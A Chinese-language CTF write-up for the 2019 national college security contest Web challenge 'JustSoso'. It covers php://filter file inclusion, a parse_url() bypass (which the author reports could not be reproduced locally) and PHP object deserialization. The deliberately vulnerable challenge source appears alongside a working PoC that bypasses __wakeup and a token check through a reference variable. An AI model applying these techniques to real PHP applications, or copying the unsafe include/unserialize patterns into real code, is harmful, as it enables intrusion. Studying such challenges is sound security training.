2019年全国大学生信息安全竞赛Web-JustSoso-WriteUp

序言

这是2019年全国大学生安全竞赛的第一道Web题,总体感觉还是可以,考到了 parse_url() 函数缺陷和 PHP反序列化的一些操作,对反序列化的几个点都考得很不错,这里写一下 WriteUp 总结学习一下。

配置信息

系统:Windows 10
浏览器:FireFox
集成环境:PHPStudy
PHP版本:5.5.38
Apache

文件列表如下:

题目分析

这里先打开index.php 文件 就两行 Missing,然后查看源代码

很明显这里要用 php://filter 伪协议包含 index.phphint.php 的 代码出来

这里放一下index.php 和 hint.php的代码(经过base64解码处理)

index.php代码如下:

<html>
<?php
error_reporting(0); 
$file = $_GET["file"]; 
$payload = $_GET["payload"];
if(!isset($file)){
    echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){
    die('hack attacked!!!');
}
@include($file);
if(isset($payload)){  
    $url = parse_url($_SERVER['REQUEST_URI']);
    parse_str($url['query'],$query);
    var_dump($query);
    foreach($query as $value){
        if (preg_match("/flag/",$value)) {
            echo $value.'<br>';
            die('stop hacking!');
            exit();
        }
    }
    $payload = unserialize($payload);
}else{ 
   echo "Missing parameters"; 
} 
?>
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->
</html>

hint.php代码如下:

<?php  
class Handle{ 
    private $handle;  
    public function __wakeup(){
        foreach(get_object_vars($this) as $k => $v) {
            $this->$k = null;
        }
        echo "Waking up\n";
    }
    public function __construct($handle) { 
        $this->handle = $handle; 
    } 
    public function __destruct(){
        $this->handle->getFlag();
    }
}

class Flag{
    public $file;
    public $token;
    public $token_flag;
 
    function __construct($file){
        $this->file = $file;
        $this->token_flag = $this->token = md5(rand(1,10000));
    }
    
    public function getFlag(){
        $this->token_flag = md5(rand(1,10000));
        if($this->token === $this->token_flag)
        {
            if(isset($this->file)){
                echo @highlight_file($this->file,true); 
            }  
        }
    }
}
?>

这里先审一下index.php的代码

可以看到文件接受filepayload两个参数,其中如果在file参数中匹配到flag字符后,会提示hack attacked!!,然后把你die掉(吓人!)

这样的话 就不可以直接通过 php://filter来获得flag.php里的flag内容了。

然后往下看

如果payload参数存在,那么 将先通过 parse_url() 这个函数来解析URL,并保存到 $url 这个变量中 (这里parse_url()是重点,先记下来,等会要考)

然后通过 parse_str()函数把 解析出来的参数全部存到 $query中去,但后dump出来。

然后对$query中参数的value进行遍历,如果又匹配到了flag这个字符,则把这个值输出来,给你抛出个 stop hacking!! ,把你又又又 die掉(枯了-!-)

然后如果没有被匹配到flag,恭喜你,$payload 要被反序列化了!!!

接下来看看hint.php文件

看到熟悉的__wakeup(),留下了辛酸的眼泪,这个如果对象被反序列化时,则会调用__wakeup(),然后会把对象的所有属性置 null(怎么能让他得逞!),这里可以直接修改他属性个数,直接让他跳过

参考链接:PHP反序列化绕过__wakeup方法(PHP-Bug-72663)

这里可看到

public function __destruct(){
    $this->handle->getFlag();
}

中可以执行我们需要的 getFlag()

在Flag类中,可以看到

function __construct($file){
    $this->file = $file;
    $this->token_flag = $this->token = md5(rand(1,10000));
}

token_flagtoken 进行了 md5(rand(1,10000)) 赋值

在函数getFlag()中

public function getFlag(){
    $this->token_flag = md5(rand(1,10000));
    if($this->token === $this->token_flag)
    {
        if(isset($this->file)){
            echo @highlight_file($this->file,true); 
        }  
    }
}

又对 token_flag进行了 md5(rand(1,10000)) 赋值

if($this->token === $this->token_flag) 这里其实直接通过引用变量来绕过

最后在 echo @highlight_file($this->file,true); 中来显示我们需要的 flag.php

构造POC

这里我的环境出了些问题,parse_url()解析绕过没办法绕过,但在本地PHP文件中直接反序列化执行倒是可以,这里给出解法。

<?php  
class Handle{ 
    private $handle;  
    public function __construct($handle) { 
        $this->handle = $handle; 
    } 
    public function __destruct(){
        $this->handle->getFlag();
    }
}

class Flag{
    public $file;
    public $token;
    public $token_flag;

    function __construct($file){
        $this->file = $file;
        $this->token = &$this->token_flag;
    }

    public function getFlag(){

        if($this->token === $this->token_flag)
        {
            if(isset($this->file)){
                echo @highlight_file($this->file,true); 
            }  
        }
    }
}

$flag = new Flag('flag.php');
$handle = new Handle($flag);

echo urlencode(str_replace('O:6:"Handle":1', 'O:6:"Handle":10', serialize($handle)));
?>

把生成的结果传入http://127.0.0.1///index.php?file=hint.php&payload=即可。

这里直接本地访问这个生成的文件也可以获得flag

这道题就到此结束了~

Comments

添加新评论